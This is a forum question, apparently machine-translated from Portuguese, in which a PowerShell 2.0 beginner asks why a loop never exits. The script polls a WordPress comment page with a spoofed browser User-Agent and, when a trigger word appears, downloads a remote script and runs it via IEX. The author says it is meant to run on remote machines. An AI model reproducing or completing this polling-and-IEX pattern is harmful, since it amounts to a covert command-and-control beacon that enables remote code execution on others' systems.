Eu sou totalmente novato em PowerShell, então seja indulgente;)
Estou tentando escrever um script em que uma máquina verifica um site externo aguardando a palavra: "test" para executar um download. As coisas são assim:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True) {
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If ($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
#Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
Estou executando o powershell 2.0. Windows7
O que aconteceu:
- o download não é executado pela internet
- não é um problema proveniente de IPs ou caminhos
O que eu fiz a seguir:
- Escrevo diretamente os diferentes comandos no prompt do PowerShell:
-> while ($ True) inicia um loop sem fim sem sair dele.
Para fazer o truque, preciso "clicar duas vezes em retornar no meu teclado", o final do loop e o comando "downloadstring" finalmente são executados.
Ainda me lembro que sou mais que um novato, certo? :(
- Tentei "quebrar" "retornar" ou "sair", mas é impossível sair do loop.
- Tentei colocar muitos retornos de carro duplos no meu script também sem sucesso.
Alguém por favor me indica o caminho para fazer essa coisa simples ...? :)
Muito obrigado.
ATUALIZAÇÃO Essas pequenas linhas devem ser utilizadas por pessoas diferentes em lugares diferentes (esse é um dos motivos de um site deportado), e eu simplesmente não tenho a possibilidade de atualizar as máquinas remotas para uma versão mais recente do PowerShell. Se alguém tiver algum guru do PowerShell da Microsoft em seu contato, será apenas uma tremenda ajuda. Obrigado a todos vocês.